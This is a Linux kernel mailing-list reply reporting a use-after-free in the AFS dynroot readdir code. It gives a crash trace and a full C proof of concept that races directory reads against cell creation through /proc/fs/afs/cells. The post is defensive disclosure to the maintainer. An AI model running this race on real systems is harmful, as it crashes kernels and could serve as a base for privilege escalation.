[PATCH v3 11/20] afs: Fix misplaced inc of net->cells_outstanding
XIAO WU
xiaowu.417 at qq.com
Mon Jun 22 13:29:11 PDT 2026
Hi David,
I came across the Sashiko AI review [1] of this series and was able to
reproduce a use-after-free in the AFS dynroot readdir path. The review
noted this is a pre-existing issue (not introduced by your patch), but
since this patch touches nearby code in the same file, I wanted to share
the concrete reproduction evidence.
The core problem is that afs_dynroot_readdir_cells() iterates over
net->cells_dyn_ino via idr_get_next() without holding rcu_read_lock():
fs/afs/dynroot.c:
cell = idr_get_next(&net->cells_dyn_ino, &ix);
...
dir_emit(..., cell->name, cell->name_len, ...);
The dir_emit() call can sleep, allowing an RCU grace period to pass.
Meanwhile, afs_cell_destroy() (invoked via call_rcu) can idr_remove()
and kfree() the cell while the reader is still traversing it. This
results in a slab-use-after-free when the reader accesses cell->name or
cell->state.
[Reproduction]
The PoC mounts an AFS dynroot filesystem, creates 500 cells to populate
the IDR radix tree, then races two readdir threads against two threads
that repeatedly trigger cell creation and destruction via
/proc/fs/afs/cells. The UAF triggers deterministically within 2 minutes.
[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]
BUG: KASAN: slab-use-after-free in memchr+0x71/0x80
Read of size 1 at addr ffff888024a7dce0 by task poc/12759
Call Trace:
<TASK>
dump_stack_lvl
print_report
kasan_report
memchr+0x71/0x80
verify_dirent_name+0x42/0x60
filldir64+0x45/0x5f0
The crash is in verify_dirent_name() → memchr() reading a cell->name
string that was freed via afs_cell_destroy() → kfree() while the
readdir iteration was in progress.
The PoC is attached. It compiles with:
gcc -o poc poc.c -static -lpthread
[1]
https://sashiko.dev/#/patchset/20260618155141.2513212-1-dhowells%40redhat.com
(Sashiko AI code review — "Use-After-Free", Severity: High)
Thanks,
XIAO
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pthread.h>
static volatile int stop = 0;
static void *readdir_race(void *arg)
{
const char *mp = (const char *)arg;
char buf[65536];
while (!stop) {
int fd = open(mp, O_RDONLY | O_DIRECTORY);
if (fd < 0) continue;
while (!stop) {
ssize_t n = syscall(SYS_getdents64, fd, buf, sizeof(buf));
if (n <= 0) break;
}
close(fd);
sched_yield();
}
return NULL;
}
/* Create many cells that will collide when re-added, causing
* afs_put_cell on the candidate -> call_rcu -> kfree while readdir
* is traversing the IDR */
static void *cell_collider(void *arg)
{
int pfd = open("/proc/fs/afs/cells", O_WRONLY);
if (pfd < 0) return NULL;
char cmd[64];
/* First batch: create 500 cells */
for (int i = 0; i < 500; i++) {
snprintf(cmd, sizeof(cmd), "add cell_%d", i);
write(pfd, cmd, strlen(cmd));
}
/* Now race: repeatedly trigger cell_already_exists path.
* Each "add" for existing name creates candidate, adds to IDR,
* then frees it via afs_put_candiate -> call_rcu -> kfree */
for (int iter = 0; !stop && iter < 200000; iter++) {
snprintf(cmd, sizeof(cmd), "add cell_%d", iter & 0x1ff);
write(pfd, cmd, strlen(cmd));
if ((iter & 0xfff) == 0) sched_yield();
}
close(pfd);
return NULL;
}
int main(void)
{
pthread_t t1, t2, t3, t4;
const char *mp = "/mnt/afs";
printf("[+] AFS dynroot UAF PoC v5\n");
mkdir(mp, 0755);
if (mount("none", mp, "afs", 0, "dyn") < 0) {
perror("mount");
return 1;
}
printf("[+] Mounted AFS dynroot\n");
printf("[+] Starting 2 readers + 2 cell colliders...\n");
pthread_create(&t1, NULL, readdir_race, (void *)mp);
pthread_create(&t2, NULL, readdir_race, (void *)mp);
pthread_create(&t3, NULL, cell_collider, NULL);
pthread_create(&t4, NULL, cell_collider, NULL);
sleep(120);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
printf("[+] Checking dmesg:\n");
fflush(stdout);
system("dmesg | grep -i -A5
'BUG:\\|KASAN\\|UAF\\|dynroot_readdir\\|afs_cell_destroy' | head -80");
system("dmesg | tail -20");
umount2(mp, MNT_DETACH);
rmdir(mp);
return 0;
}
More information about the linux-afs
mailing list